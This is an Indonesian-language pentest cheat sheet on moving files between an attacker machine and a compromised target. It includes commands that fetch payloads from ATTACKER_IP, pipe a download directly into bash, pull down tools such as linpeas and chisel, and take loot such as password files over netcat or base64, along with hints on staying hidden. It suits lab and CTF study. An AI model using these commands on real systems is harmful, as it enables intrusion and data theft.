File Transfer
Teknik memindahkan file antara attacker dan target. Upload tools ke target (linpeas, chisel, pspy64) atau download loot (database, config, password file). Cek IP attacker di tun0: ip a show tun0.
Python HTTP Server
Modul `http.server` Python membuat web server sederhana yang serve semua file dari direktori saat ini via HTTP. Workflow: (1) Pindah ke folder berisi file yang ingin dikirim (`cd /path/to/tools`), (2) Jalankan server, (3) Di target gunakan wget/curl untuk download. Port 8080 dipilih agar tidak butuh root (port <1024 butuh privilege). Semua request ke server muncul di terminal — berguna untuk debug apakah download berhasil. Hentikan dengan Ctrl+C.
python3 -m http.server 8080
Python2:
python -m SimpleHTTPServer 8080
Kapan dipakai: Cara PALING MUDAH upload tools ke target. Gunakan untuk linpeas.sh, chisel, pspy64, dll.
wget
`-O /tmp/file` menentukan nama dan lokasi file output. Simpan ke `/tmp/` karena direktori ini world-writable di hampir semua Linux — tidak butuh privilege khusus. Alternatif writable: `/dev/shm/` (in-memory, hilang saat reboot, lebih tersembunyi) atau `/var/tmp/`. Flag `-q` = quiet mode. Tambahkan `--no-check-certificate` jika server HTTPS dengan self-signed cert. Tambahkan `chmod +x /tmp/file` setelah download jika ingin langsung dieksekusi.
wget http://ATTACKER_IP:8080/file -O /tmp/file
Silent, simpan ke folder (tanpa rename):
wget -q http://ATTACKER_IP:8080/file -P /tmp/
Kapan dipakai: Download tools dari attacker ke target. wget hampir selalu tersedia di sistem Linux.
curl
`-o /tmp/file` simpan ke file (beda dengan `-O` yang ambil nama dari URL). curl hampir selalu tersedia bahkan di sistem yang tidak punya wget — sangat jarang absen di Linux modern. Flag tambahan berguna: `-s` = silent, `-k` = skip SSL cert verification, `--max-time 10` = timeout. Versi `| bash` mengeksekusi script langsung tanpa menyimpan ke disk — berguna tapi susah debug jika gagal, dan beberapa AV/IDS mungkin mendeteksi pola ini.
curl http://ATTACKER_IP:8080/file -o /tmp/file
Execute langsung tanpa simpan ke disk:
curl http://ATTACKER_IP:8080/file | bash
Kapan dipakai: Gunakan jika wget tidak ada. Cek: which wget curl.
Netcat File Transfer
Attacker menjalankan `nc -lvnp 4444 < file` — file di-pipe sebagai input ke netcat listener sehingga dibaca dan dikirim saat ada koneksi masuk. Target connect dan redirect semua yang diterima ke file baru. Tidak butuh HTTP server sama sekali. Urutan penting: attacker HARUS start listener dulu, baru target connect. Transfer otomatis selesai dan koneksi putus setelah seluruh file terkirim. Verifikasi integritas: bandingkan md5sum di kedua sisi.
# Di attacker — start listener dan pipe file:
nc -lvnp 4444 < file_to_send
# Di target — connect dan simpan:
nc ATTACKER_IP 4444 > /tmp/received_file
Kapan dipakai: Target tidak bisa reach HTTP server attacker (firewall blocking, routing issue). Alternatif jika wget/curl tidak ada.
Note: Attacker start dulu, baru target connect. Cek integritas: md5sum file di kedua sisi harus sama.
Base64 Copy-Paste
`-w 0` menonaktifkan line wrapping — default base64 wrap setiap 76 karakter, sehingga jadi banyak baris yang susah di-copy. Hasilnya satu baris panjang yang mudah di-select dan copy dari terminal. `&& echo` menambah newline agar cursor tidak menempel di string. Di target, paste string ke dalam echo dan decode. Metode ini bekerja bahkan tanpa koneksi jaringan sama sekali antara attacker dan target — hanya butuh kemampuan copy-paste di terminal. Verifikasi: `md5sum /tmp/file` vs md5sum file asli.
# Di attacker — encode jadi satu baris:
base64 -w 0 file && echo
# Di target — paste string dan decode:
echo "BASE64_STRING_DISINI" | base64 -d > /tmp/file
Kapan dipakai: Target terisolasi dari jaringan attacker — hanya ada akses lewat shell yang sudah ada (misal: web shell terbatas).
Note: Hanya cocok untuk file kecil (<100KB). File besar akan menghasilkan string yang sangat panjang dan tidak praktis.
← RESPWN Dashboard